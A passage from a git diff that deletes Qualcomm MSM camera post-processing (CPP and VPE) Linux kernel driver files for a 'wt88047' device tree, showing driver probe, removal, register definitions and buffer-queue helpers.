ioctl, cmd, arg); - } - - return 0; -} - -static long msm_cpp_subdev_fops_ioctl(struct file *file, unsigned int cmd, - unsigned long arg) -{ - return video_usercopy(file, cmd, arg, msm_cpp_subdev_do_ioctl); -} - -static int cpp_register_domain(void) -{ - struct msm_iova_partition cpp_fw_partition = { - .start = SZ_128K, - .size = SZ_2G - SZ_128K, - }; - struct msm_iova_layout cpp_fw_layout = { - .partitions = &cpp_fw_partition, - .npartitions = 1, - .client_name = "camera_cpp", - .domain_flags = 0, - }; - - return msm_register_domain(&cpp_fw_layout); -} - -static int msm_cpp_get_clk_info(struct cpp_device *cpp_dev, - struct platform_device *pdev) -{ - uint32_t count; - int i, rc; - uint32_t rates[CPP_CLK_INFO_MAX]; - - struct device_node *of_node; - of_node = pdev->dev.of_node; - - count = of_property_count_strings(of_node, "clock-names"); - - CPP_DBG("count = %d\n", count); - if (count == 0) { - pr_err("no clocks found in device tree, count=%d", count); - return 0; - } - - if (count > CPP_CLK_INFO_MAX) { - pr_err("invalid count=%d, max is %d\n", count, - CPP_CLK_INFO_MAX); - return -EINVAL; - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, "clock-names", - i, &(cpp_clk_info[i].clk_name)); - CPP_DBG("clock-names[%d] = %s\n", i, cpp_clk_info[i].clk_name); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - } - rc = of_property_read_u32_array(of_node, "qcom,clock-rates", - rates, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - for (i = 0; i < count; i++) { - cpp_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; - CPP_DBG("clk_rate[%d] = %ld\n", i, cpp_clk_info[i].clk_rate); - } - cpp_dev->num_clk = count; - return 0; -} - - -static int cpp_probe(struct platform_device *pdev) -{ - struct cpp_device *cpp_dev; - int rc = 0; - CPP_DBG("E"); - cpp_dev = kzalloc(sizeof(struct cpp_device), GFP_KERNEL); - if (!cpp_dev) { - pr_err("no enough memory\n"); - return -ENOMEM; - } - - cpp_dev->cpp_clk = kzalloc(sizeof(struct clk *) * - ARRAY_SIZE(cpp_clk_info), GFP_KERNEL); - if (!cpp_dev->cpp_clk) { - pr_err("no enough memory\n"); - rc = -ENOMEM; - goto ERROR1; - } - - v4l2_subdev_init(&cpp_dev->msm_sd.sd, &msm_cpp_subdev_ops); - cpp_dev->msm_sd.sd.internal_ops = &msm_cpp_internal_ops; - snprintf(cpp_dev->msm_sd.sd.name, ARRAY_SIZE(cpp_dev->msm_sd.sd.name), - "cpp"); - cpp_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - cpp_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_EVENTS; - v4l2_set_subdevdata(&cpp_dev->msm_sd.sd, cpp_dev); - platform_set_drvdata(pdev, &cpp_dev->msm_sd.sd); - mutex_init(&cpp_dev->mutex); - spin_lock_init(&cpp_dev->tasklet_lock); - - if (pdev->dev.of_node) - of_property_read_u32((&pdev->dev)->of_node, - "cell-index", &pdev->id); - - cpp_dev->pdev = pdev; - - cpp_dev->mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "cpp"); - if (!cpp_dev->mem) { - pr_err("no mem resource?\n"); - rc = -ENODEV; - goto ERROR2; - } - - cpp_dev->vbif_mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "cpp_vbif"); - if (!cpp_dev->vbif_mem) { - pr_err("no mem resource?\n"); - rc = -ENODEV; - goto ERROR2; - } - - cpp_dev->cpp_hw_mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "cpp_hw"); - if (!cpp_dev->cpp_hw_mem) { - pr_err("no mem resource?\n"); - rc = -ENODEV; - goto ERROR2; - } - - cpp_dev->irq = platform_get_resource_byname(pdev, - IORESOURCE_IRQ, "cpp"); - if (!cpp_dev->irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto ERROR2; - } - - cpp_dev->io = request_mem_region(cpp_dev->mem->start, - resource_size(cpp_dev->mem), pdev->name); - if (!cpp_dev->io) { - pr_err("%s: no valid mem region\n", __func__); - rc = -EBUSY; - goto ERROR2; - } - - cpp_dev->domain_num = cpp_register_domain(); - if (cpp_dev->domain_num < 0) { - pr_err("%s: could not register domain\n", __func__); - rc = -ENODEV; - goto ERROR3; - } - - cpp_dev->domain = - msm_get_iommu_domain(cpp_dev->domain_num); - if (!cpp_dev->domain) { - pr_err("%s: cannot find domain\n", __func__); - rc = -ENODEV; - goto ERROR3; - } - - cpp_dev->iommu_ctx = msm_iommu_get_ctx("cpp"); - if (IS_ERR(cpp_dev->iommu_ctx)) { - pr_err("%s: cannot get iommu_ctx\n", __func__); - rc = -EPROBE_DEFER; - goto ERROR3; - } - - if (msm_cpp_get_clk_info(cpp_dev, pdev) < 0) { - pr_err("msm_cpp_get_clk_info() failed\n"); - goto ERROR3; - } - if (pdev->dev.of_node) - rc = of_property_read_u32(pdev->dev.of_node,"bus_master", - &cpp_dev->bus_master_flag); - if (rc) - cpp_dev->bus_master_flag = 0; - pr_err("Bus master %d \n",cpp_dev->bus_master_flag); - - media_entity_init(&cpp_dev->msm_sd.sd.entity, 0, NULL, 0); - cpp_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - cpp_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_CPP; - cpp_dev->msm_sd.sd.entity.name = pdev->name; - cpp_dev->msm_sd.close_seq = MSM_SD_CLOSE_3RD_CATEGORY; - msm_sd_register(&cpp_dev->msm_sd); - msm_cpp_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; - msm_cpp_v4l2_subdev_fops.open = v4l2_subdev_fops.open; - msm_cpp_v4l2_subdev_fops.unlocked_ioctl = msm_cpp_subdev_fops_ioctl; - msm_cpp_v4l2_subdev_fops.release = v4l2_subdev_fops.release; - msm_cpp_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; - - cpp_dev->msm_sd.sd.devnode->fops = &msm_cpp_v4l2_subdev_fops; - cpp_dev->msm_sd.sd.entity.revision = cpp_dev->msm_sd.sd.devnode->num; - cpp_dev->state = CPP_STATE_BOOT; - - rc = cpp_init_hardware(cpp_dev); - if (rc < 0) - goto CPP_PROBE_INIT_ERROR; - - msm_camera_io_w(0x0, cpp_dev->base + - MSM_CPP_MICRO_IRQGEN_MASK); - msm_camera_io_w(0xFFFF, cpp_dev->base + - MSM_CPP_MICRO_IRQGEN_CLR); - msm_camera_io_w(0x80000000, cpp_dev->base + 0xF0); - cpp_release_hardware(cpp_dev); - cpp_dev->state = CPP_STATE_OFF; - msm_cpp_enable_debugfs(cpp_dev); - - msm_queue_init(&cpp_dev->eventData_q, "eventdata"); - msm_queue_init(&cpp_dev->processing_q, "frame"); - INIT_LIST_HEAD(&cpp_dev->tasklet_q); - tasklet_init(&cpp_dev->cpp_tasklet, msm_cpp_do_tasklet, - (unsigned long)cpp_dev); - cpp_dev->timer_wq = create_workqueue("msm_cpp_workqueue"); - cpp_dev->work = kmalloc(sizeof(struct msm_cpp_work_t), - GFP_KERNEL); - - if (!cpp_dev->work) { - pr_err("no enough memory\n"); - rc = -ENOMEM; - goto CPP_PROBE_INIT_ERROR; - } - - INIT_WORK((struct work_struct *)cpp_dev->work, msm_cpp_do_timeout_work); - cpp_dev->cpp_open_cnt = 0; - cpp_dev->is_firmware_loaded = 0; - cpp_dev->iommu_state = CPP_IOMMU_STATE_DETACHED; - cpp_timer.data.cpp_dev = cpp_dev; - atomic_set(&cpp_timer.used, 0); - cpp_dev->fw_name_bin = NULL; - if (rc == 0) - CPP_DBG("SUCCESS."); - else - CPP_DBG("FAILED."); - return rc; -CPP_PROBE_INIT_ERROR: - media_entity_cleanup(&cpp_dev->msm_sd.sd.entity); - msm_sd_unregister(&cpp_dev->msm_sd); -ERROR3: - release_mem_region(cpp_dev->mem->start, resource_size(cpp_dev->mem)); -ERROR2: - kfree(cpp_dev->cpp_clk); -ERROR1: - kfree(cpp_dev); - return rc; -} - -static const struct of_device_id msm_cpp_dt_match[] = { - {.compatible = "qcom,cpp"}, - {} -}; - -static int cpp_device_remove(struct platform_device *dev) -{ - struct v4l2_subdev *sd = platform_get_drvdata(dev); - struct cpp_device *cpp_dev; - if (!sd) { - pr_err("%s: Subdevice is NULL\n", __func__); - return 0; - } - - cpp_dev = (struct cpp_device *)v4l2_get_subdevdata(sd); - if (!cpp_dev) { - pr_err("%s: cpp device is NULL\n", __func__); - return 0; - } - - msm_sd_unregister(&cpp_dev->msm_sd); - release_mem_region(cpp_dev->mem->start, resource_size(cpp_dev->mem)); - release_mem_region(cpp_dev->vbif_mem->start, - resource_size(cpp_dev->vbif_mem)); - release_mem_region(cpp_dev->cpp_hw_mem->start, - resource_size(cpp_dev->cpp_hw_mem)); - mutex_destroy(&cpp_dev->mutex); - kfree(cpp_dev->work); - destroy_workqueue(cpp_dev->timer_wq); - kfree(cpp_dev->cpp_clk); - kfree(cpp_dev); - return 0; -} - -static struct platform_driver cpp_driver = { - .probe = cpp_probe, - .remove = cpp_device_remove, - .driver = { - .name = MSM_CPP_DRV_NAME, - .owner = THIS_MODULE, - .of_match_table = msm_cpp_dt_match, - }, -}; - -static int __init msm_cpp_init_module(void) -{ - return platform_driver_register(&cpp_driver); -} - -static void __exit msm_cpp_exit_module(void) -{ - platform_driver_unregister(&cpp_driver); -} - -static int msm_cpp_debugfs_error_s(void *data, u64 val) -{ - pr_err("setting error inducement"); - induce_error = val; - return 0; -} - -DEFINE_SIMPLE_ATTRIBUTE(cpp_debugfs_error, NULL, - msm_cpp_debugfs_error_s, "%llu\n"); - -static int msm_cpp_enable_debugfs(struct cpp_device *cpp_dev) -{ - struct dentry *debugfs_base; - debugfs_base = debugfs_create_dir("msm_cpp", NULL); - if (!debugfs_base) - return -ENOMEM; - - if (!debugfs_create_file("error", S_IRUGO | S_IWUSR, debugfs_base, - (void *)cpp_dev, &cpp_debugfs_error)) - return -ENOMEM; - - return 0; -} - -module_init(msm_cpp_init_module); -module_exit(msm_cpp_exit_module); -MODULE_DESCRIPTION("MSM CPP driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h deleted file mode 100644 index 54e3dec41ca56..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h +++ /dev/null @@ -1,237 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_CPP_H__ -#define __MSM_CPP_H__ - -#include -#include -#include -#include -#include -#include -#include "msm_sd.h" - -/* hw version info: - 31:28 Major version - 27:16 Minor version - 15:0 Revision bits -**/ -#define CPP_HW_VERSION_1_1_0 0x10010000 -#define CPP_HW_VERSION_1_1_1 0x10010001 -#define CPP_HW_VERSION_2_0_0 0x20000000 -#define CPP_HW_VERSION_4_0_0 0x40000000 -#define CPP_HW_VERSION_4_1_0 0x40010000 - -#define MAX_ACTIVE_CPP_INSTANCE 8 -#define MAX_CPP_PROCESSING_FRAME 2 -#define MAX_CPP_V4l2_EVENTS 30 - -#define MSM_CPP_MICRO_BASE 0x4000 -#define MSM_CPP_MICRO_HW_VERSION 0x0000 -#define MSM_CPP_MICRO_IRQGEN_STAT 0x0004 -#define MSM_CPP_MICRO_IRQGEN_CLR 0x0008 -#define MSM_CPP_MICRO_IRQGEN_MASK 0x000C -#define MSM_CPP_MICRO_FIFO_TX_DATA 0x0010 -#define MSM_CPP_MICRO_FIFO_TX_STAT 0x0014 -#define MSM_CPP_MICRO_FIFO_RX_DATA 0x0018 -#define MSM_CPP_MICRO_FIFO_RX_STAT 0x001C -#define MSM_CPP_MICRO_BOOT_START 0x0020 -#define MSM_CPP_MICRO_BOOT_LDORG 0x0024 -#define MSM_CPP_MICRO_CLKEN_CTL 0x0030 - -#define MSM_CPP_CMD_GET_BOOTLOADER_VER 0x1 -#define MSM_CPP_CMD_FW_LOAD 0x2 -#define MSM_CPP_CMD_EXEC_JUMP 0x3 -#define MSM_CPP_CMD_RESET_HW 0x5 -#define MSM_CPP_CMD_PROCESS_FRAME 0x6 -#define MSM_CPP_CMD_FLUSH_STREAM 0x7 -#define MSM_CPP_CMD_CFG_MEM_PARAM 0x8 -#define MSM_CPP_CMD_ERROR_REQUEST 0x9 -#define MSM_CPP_CMD_GET_STATUS 0xA -#define MSM_CPP_CMD_GET_FW_VER 0xB - -#define MSM_CPP_MSG_ID_CMD 0x3E646D63 -#define MSM_CPP_MSG_ID_OK 0x0A0A4B4F -#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA - -#define MSM_CPP_MSG_ID_JUMP_ACK 0x00000001 -#define MSM_CPP_MSG_ID_FRAME_ACK 0x00000002 -#define MSM_CPP_MSG_ID_FRAME_NACK 0x00000003 -#define MSM_CPP_MSG_ID_FLUSH_ACK 0x00000004 -#define MSM_CPP_MSG_ID_FLUSH_NACK 0x00000005 -#define MSM_CPP_MSG_ID_CFG_MEM_ACK 0x00000006 -#define MSM_CPP_MSG_ID_CFG_MEM_INV 0x00000007 -#define MSM_CPP_MSG_ID_ERROR_STATUS 0x00000008 -#define MSM_CPP_MSG_ID_INVALID_CMD 0x00000009 -#define MSM_CPP_MSG_ID_GEN_STATUS 0x0000000A -#define MSM_CPP_MSG_ID_FLUSHED 0x0000000B -#define MSM_CPP_MSG_ID_FW_VER 0x0000000C - -#define MSM_CPP_JUMP_ADDRESS 0x20 -#define MSM_CPP_START_ADDRESS 0x0 -#define MSM_CPP_END_ADDRESS 0x3F00 - -#define MSM_CPP_POLL_RETRIES 20 -#define MSM_CPP_TASKLETQ_SIZE 16 -#define MSM_CPP_TX_FIFO_LEVEL 16 -#define MSM_CPP_RX_FIFO_LEVEL 512 - -struct cpp_subscribe_info { - struct v4l2_fh *vfh; - uint32_t active; -}; - -enum cpp_state { - CPP_STATE_BOOT, - CPP_STATE_IDLE, - CPP_STATE_ACTIVE, - CPP_STATE_OFF, -}; - -enum cpp_iommu_state { - CPP_IOMMU_STATE_DETACHED, - CPP_IOMMU_STATE_ATTACHED, -}; - -enum msm_queue { - MSM_CAM_Q_CTRL, /* control command or control command status */ - MSM_CAM_Q_VFE_EVT, /* adsp event */ - MSM_CAM_Q_VFE_MSG, /* adsp message */ - MSM_CAM_Q_V4L2_REQ, /* v4l2 request */ - MSM_CAM_Q_VPE_MSG, /* vpe message */ - MSM_CAM_Q_PP_MSG, /* pp message */ -}; - -struct msm_queue_cmd { - struct list_head list_config; - struct list_head list_control; - struct list_head list_frame; - struct list_head list_pict; - struct list_head list_vpe_frame; - struct list_head list_eventdata; - enum msm_queue type; - void *command; - atomic_t on_heap; - struct timespec ts; - uint32_t error_code; - uint32_t trans_code; -}; - -struct msm_device_queue { - struct list_head list; - spinlock_t lock; - wait_queue_head_t wait; - int max; - int len; - const char *name; -}; - -struct msm_cpp_tasklet_queue_cmd { - struct list_head list; - uint32_t irq_status; - uint32_t tx_fifo[MSM_CPP_TX_FIFO_LEVEL]; - uint32_t tx_level; - uint8_t cmd_used; -}; - -struct msm_cpp_buffer_map_info_t { - unsigned long len; - dma_addr_t phy_addr; - struct ion_handle *ion_handle; - struct msm_cpp_buffer_info_t buff_info; -}; - -struct msm_cpp_buffer_map_list_t { - struct msm_cpp_buffer_map_info_t map_info; - struct list_head entry; -}; - -struct msm_cpp_buff_queue_info_t { - uint32_t used; - uint16_t session_id; - uint16_t stream_id; - struct list_head vb2_buff_head; - struct list_head native_buff_head; -}; - -struct msm_cpp_work_t { - struct work_struct my_work; - struct cpp_device *cpp_dev; -}; -struct msm_cpp_clock_settings_t { - long clock_rate; - uint64_t avg; - uint64_t inst; -}; - -struct cpp_device { - struct platform_device *pdev; - struct msm_sd_subdev msm_sd; - struct v4l2_subdev subdev; - struct resource *mem; - struct resource *irq; - struct resource *io; - struct resource *vbif_mem; - struct resource *vbif_io; - struct resource *cpp_hw_mem; - void __iomem *vbif_base; - void __iomem *base; - void __iomem *cpp_hw_base; - struct clk **cpp_clk; - struct regulator *fs_cpp; - struct mutex mutex; - enum cpp_state state; - enum cpp_iommu_state iommu_state; - uint8_t is_firmware_loaded; - char *fw_name_bin; - struct workqueue_struct *timer_wq; - struct msm_cpp_work_t *work; - uint32_t fw_version; - uint8_t stream_cnt; - uint8_t timeout_trial_cnt; - - int domain_num; - struct iommu_domain *domain; - struct device *iommu_ctx; - struct ion_client *client; - struct kref refcount; - uint32_t num_clk; - - /* Reusing proven tasklet from msm isp */ - atomic_t irq_cnt; - uint8_t taskletq_idx; - spinlock_t tasklet_lock; - struct list_head tasklet_q; - struct tasklet_struct cpp_tasklet; - struct msm_cpp_tasklet_queue_cmd - tasklet_queue_cmd[MSM_CPP_TASKLETQ_SIZE]; - - struct cpp_subscribe_info cpp_subscribe_list[MAX_ACTIVE_CPP_INSTANCE]; - uint32_t cpp_open_cnt; - struct cpp_hw_info hw_info; - - struct msm_device_queue eventData_q; /* V4L2 Event Payload Queue */ - - /* Processing Queue - * store frame info for frames sent to microcontroller - */ - struct msm_device_queue processing_q; - - struct msm_cpp_buff_queue_info_t *buff_queue; - uint32_t num_buffq; - struct v4l2_subdev *buf_mgr_subdev; - uint32_t bus_client; - uint32_t bus_idx; - uint32_t bus_master_flag; -}; -#endif /* __MSM_CPP_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile deleted file mode 100644 index 316e9b768e1e8..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile +++ /dev/null @@ -1,3 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSMB_CAMERA) += msm_vpe.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c b/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c deleted file mode 100644 index e261370e5ef76..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c +++ /dev/null @@ -1,1655 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#define pr_fmt(fmt) "MSM-VPE %s:%d " fmt, __func__, __LINE__ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_vpe.h" -#include "msm_camera_io_util.h" - -#define MSM_VPE_IDENT_TO_SESSION_ID(identity) ((identity >> 16) & 0xFFFF) -#define MSM_VPE_IDENT_TO_STREAM_ID(identity) (identity & 0xFFFF) - -#define MSM_VPE_DRV_NAME "msm_vpe" - -#define MSM_VPE_MAX_BUFF_QUEUE 16 - -#define CONFIG_MSM_VPE_DBG 0 - -#if CONFIG_MSM_VPE_DBG -#define VPE_DBG(fmt, args...) pr_err(fmt, ##args) -#else -#define VPE_DBG(fmt, args...) pr_debug(fmt, ##args) -#endif - -static void vpe_mem_dump(const char * const name, const void * const addr, - int size) -{ - char line_str[128], *p_str; - int i; - u32 *p = (u32 *) addr; - u32 data; - VPE_DBG("%s: (%s) %p %d\n", __func__, name, addr, size); - line_str[0] = '\0'; - p_str = line_str; - for (i = 0; i < size/4; i++) { - if (i % 4 == 0) { - snprintf(p_str, 12, "%08x: ", (u32) p); - p_str += 10; - } - data = *p++; - snprintf(p_str, 12, "%08x ", data); - p_str += 9; - if ((i + 1) % 4 == 0) { - VPE_DBG("%s\n", line_str); - line_str[0] = '\0'; - p_str = line_str; - } - } - if (line_str[0] != '\0') - VPE_DBG("%s\n", line_str); -} - -static inline long long vpe_do_div(long long num, long long den) -{ - do_div(num, den); - return num; -} - -#define msm_dequeue(queue, member) ({ \ - unsigned long flags; \ - struct msm_device_queue *__q = (queue); \ - struct msm_queue_cmd *qcmd = 0; \ - spin_lock_irqsave(&__q->lock, flags); \ - if (!list_empty(&__q->list)) { \ - __q->len--; \ - qcmd = list_first_entry(&__q->list, \ - struct msm_queue_cmd, \ - member); \ - list_del_init(&qcmd->member); \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ - qcmd; \ - }) - -static void msm_queue_init(struct msm_device_queue *queue, const char *name) -{ - spin_lock_init(&queue->lock); - queue->len = 0; - queue->max = 0; - queue->name = name; - INIT_LIST_HEAD(&queue->list); - init_waitqueue_head(&queue->wait); -} - -static struct msm_cam_clk_info vpe_clk_info[] = { - {"vpe_clk", 160000000}, - {"vpe_pclk", -1}, -}; - -static int msm_vpe_notify_frame_done(struct vpe_device *vpe_dev); - -static void msm_enqueue(struct msm_device_queue *queue, - struct list_head *entry) -{ - unsigned long flags; - spin_lock_irqsave(&queue->lock, flags); - queue->len++; - if (queue->len > queue->max) { - queue->max = queue->len; - pr_debug("queue %s new max is %d\n", queue->name, queue->max); - } - list_add_tail(entry, &queue->list); - wake_up(&queue->wait); - VPE_DBG("woke up %s\n", queue->name); - spin_unlock_irqrestore(&queue->lock, flags); -} - -static struct msm_vpe_buff_queue_info_t *msm_vpe_get_buff_queue_entry( - struct vpe_device *vpe_dev, uint32_t session_id, uint32_t stream_id) -{ - uint32_t i = 0; - struct msm_vpe_buff_queue_info_t *buff_queue_info = NULL; - - for (i = 0; i < vpe_dev->num_buffq; i++) { - if ((vpe_dev->buff_queue[i].used == 1) && - (vpe_dev->buff_queue[i].session_id == session_id) && - (vpe_dev->buff_queue[i].stream_id == stream_id)) { - buff_queue_info = &vpe_dev->buff_queue[i]; - break; - } - } - - if (buff_queue_info == NULL) { - pr_err("error buffer queue entry for sess:%d strm:%d not found\n", - session_id, stream_id); - } - return buff_queue_info; -} - -static unsigned long msm_vpe_get_phy_addr(struct vpe_device *vpe_dev, - struct msm_vpe_buff_queue_info_t *buff_queue_info, uint32_t buff_index, - uint8_t native_buff) -{ - unsigned long phy_add = 0; - struct list_head *buff_head; - struct msm_vpe_buffer_map_list_t *buff, *save; - - if (native_buff) - buff_head = &buff_queue_info->native_buff_head; - else - buff_head = &buff_queue_info->vb2_buff_head; - - list_for_each_entry_safe(buff, save, buff_head, entry) { - if (buff->map_info.buff_info.index == buff_index) { - phy_add = buff->map_info.phy_addr; - break; - } - } - - return phy_add; -} - -static unsigned long msm_vpe_queue_buffer_info(struct vpe_device *vpe_dev, - struct msm_vpe_buff_queue_info_t *buff_queue, - struct msm_vpe_buffer_info_t *buffer_info) -{ - struct list_head *buff_head; - struct msm_vpe_buffer_map_list_t *buff, *save; - int rc = 0; - - if (buffer_info->native_buff) - buff_head = &buff_queue->native_buff_head; - else - buff_head = &buff_queue->vb2_buff_head; - - list_for_each_entry_safe(buff, save, buff_head, entry) { - if (buff->map_info.buff_info.index == buffer_info->index) { - pr_err("error buffer index already queued\n"); - return -EINVAL; - } - } - - buff = kzalloc( - sizeof(struct msm_vpe_buffer_map_list_t), GFP_KERNEL); - if (!buff) { - pr_err("error allocating memory\n"); - return -EINVAL; - } - - buff->map_info.buff_info = *buffer_info; - buff->map_info.ion_handle = ion_import_dma_buf(vpe_dev->client, - buffer_info->fd); - if (IS_ERR_OR_NULL(buff->map_info.ion_handle)) { - pr_err("ION import failed\n"); - goto queue_buff_error1; - } - - rc = ion_map_iommu(vpe_dev->client, buff->map_info.ion_handle, - vpe_dev->domain_num, 0, SZ_4K, 0, - &buff->map_info.phy_addr, - &buff->map_info.len, 0, 0); - if (rc < 0) { - pr_err("ION mmap failed\n"); - goto queue_buff_error2; - } - - INIT_LIST_HEAD(&buff->entry); - list_add_tail(&buff->entry, buff_head); - - return buff->map_info.phy_addr; - -queue_buff_error2: - ion_unmap_iommu(vpe_dev->client, buff->map_info.ion_handle, - vpe_dev->domain_num, 0); -queue_buff_error1: - ion_free(vpe_dev->client, buff->map_info.ion_handle); - buff->map_info.ion_handle = NULL; - kzfree(buff); - - return 0; -} - -static void msm_vpe_dequeue_buffer_info(struct vpe_device *vpe_dev, - struct msm_vpe_buffer_map_list_t *buff) -{ - ion_unmap_iommu(vpe_dev->client, buff->map_info.ion_handle, - vpe_dev->domain_num, 0); - ion_free(vpe_dev->client, buff->map_info.ion_handle); - buff->map_info.ion_handle = NULL; - - list_del_init(&buff->entry); - kzfree(buff); - - return; -} - -static unsigned long msm_vpe_fetch_buffer_info(struct vpe_device *vpe_dev, - struct msm_vpe_buffer_info_t *buffer_info, uint32_t session_id, - uint32_t stream_id) -{ - unsigned long phy_addr = 0; - struct msm_vpe_buff_queue_info_t *buff_queue_info; - uint8_t native_buff = buffer_info->native_buff; - - buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, session_id, - stream_id); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", - session_id, stream_id); - return phy_addr; - } - - phy_addr = msm_vpe_get_phy_addr(vpe_dev, buff_queue_info, - buffer_info->index, native_buff); - if ((phy_addr == 0) && (native_buff)) { - phy_addr = msm_vpe_queue_buffer_info(vpe_dev, buff_queue_info, - buffer_info); - } - return phy_addr; -} - -static int32_t msm_vpe_enqueue_buff_info_list(struct vpe_device *vpe_dev, - struct msm_vpe_stream_buff_info_t *stream_buff_info) -{ - uint32_t j; - struct msm_vpe_buff_queue_info_t *buff_queue_info; - - buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, - (stream_buff_info->identity >> 16) & 0xFFFF, - stream_buff_info->identity & 0xFFFF); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", - (stream_buff_info->identity >> 16) & 0xFFFF, - stream_buff_info->identity & 0xFFFF); - return -EINVAL; - } - - for (j = 0; j < stream_buff_info->num_buffs; j++) { - msm_vpe_queue_buffer_info(vpe_dev, buff_queue_info, - &stream_buff_info->buffer_info[j]); - } - return 0; -} - -static int32_t msm_vpe_dequeue_buff_info_list(struct vpe_device *vpe_dev, - struct msm_vpe_buff_queue_info_t *buff_queue_info) -{ - struct msm_vpe_buffer_map_list_t *buff, *save; - struct list_head *buff_head; - - buff_head = &buff_queue_info->native_buff_head; - list_for_each_entry_safe(buff, save, buff_head, entry) { - msm_vpe_dequeue_buffer_info(vpe_dev, buff); - } - - buff_head = &buff_queue_info->vb2_buff_head; - list_for_each_entry_safe(buff, save, buff_head, entry) { - msm_vpe_dequeue_buffer_info(vpe_dev, buff); - } - - return 0; -} - -static int32_t msm_vpe_add_buff_queue_entry(struct vpe_device *vpe_dev, - uint16_t session_id, uint16_t stream_id) -{ - uint32_t i; - struct msm_vpe_buff_queue_info_t *buff_queue_info; - - for (i = 0; i < vpe_dev->num_buffq; i++) { - if (vpe_dev->buff_queue[i].used == 0) { - buff_queue_info = &vpe_dev->buff_queue[i]; - buff_queue_info->used = 1; - buff_queue_info->session_id = session_id; - buff_queue_info->stream_id = stream_id; - INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); - INIT_LIST_HEAD(&buff_queue_info->native_buff_head); - return 0; - } - } - pr_err("buffer queue full. error for sessionid: %d streamid: %d\n", - session_id, stream_id); - return -EINVAL; -} - -static int32_t msm_vpe_free_buff_queue_entry(struct vpe_device *vpe_dev, - uint32_t session_id, uint32_t stream_id) -{ - struct msm_vpe_buff_queue_info_t *buff_queue_info; - - buff_queue_info = msm_vpe_get_buff_queue_entry(vpe_dev, session_id, - stream_id); - if (buff_queue_info == NULL) { - pr_err("error finding buffer queue entry for sessid:%d strmid:%d\n", - session_id, stream_id); - return -EINVAL; - } - - buff_queue_info->used = 0; - buff_queue_info->session_id = 0; - buff_queue_info->stream_id = 0; - INIT_LIST_HEAD(&buff_queue_info->vb2_buff_head); - INIT_LIST_HEAD(&buff_queue_info->native_buff_head); - return 0; -} - -static int32_t msm_vpe_create_buff_queue(struct vpe_device *vpe_dev, - uint32_t num_buffq) -{ - struct msm_vpe_buff_queue_info_t *buff_queue; - buff_queue = kzalloc( - sizeof(struct msm_vpe_buff_queue_info_t) * num_buffq, - GFP_KERNEL); - if (!buff_queue) { - pr_err("Buff queue allocation failure\n"); - return -ENOMEM; - } - - if (vpe_dev->buff_queue) { - pr_err("Buff queue not empty\n"); - kzfree(buff_queue); - return -EINVAL; - } else { - vpe_dev->buff_queue = buff_queue; - vpe_dev->num_buffq = num_buffq; - } - return 0; -} - -static void msm_vpe_delete_buff_queue(struct vpe_device *vpe_dev) -{ - uint32_t i; - - for (i = 0; i < vpe_dev->num_buffq; i++) { - if (vpe_dev->buff_queue[i].used == 1) { - pr_err("Queue not free sessionid: %d, streamid: %d\n", - vpe_dev->buff_queue[i].session_id, - vpe_dev->buff_queue[i].stream_id); - msm_vpe_free_buff_queue_entry(vpe_dev, - vpe_dev->buff_queue[i].session_id, - vpe_dev->buff_queue[i].stream_id); - } - } - kzfree(vpe_dev->buff_queue); - vpe_dev->buff_queue = NULL; - vpe_dev->num_buffq = 0; - return; -} - -void vpe_release_ion_client(struct kref 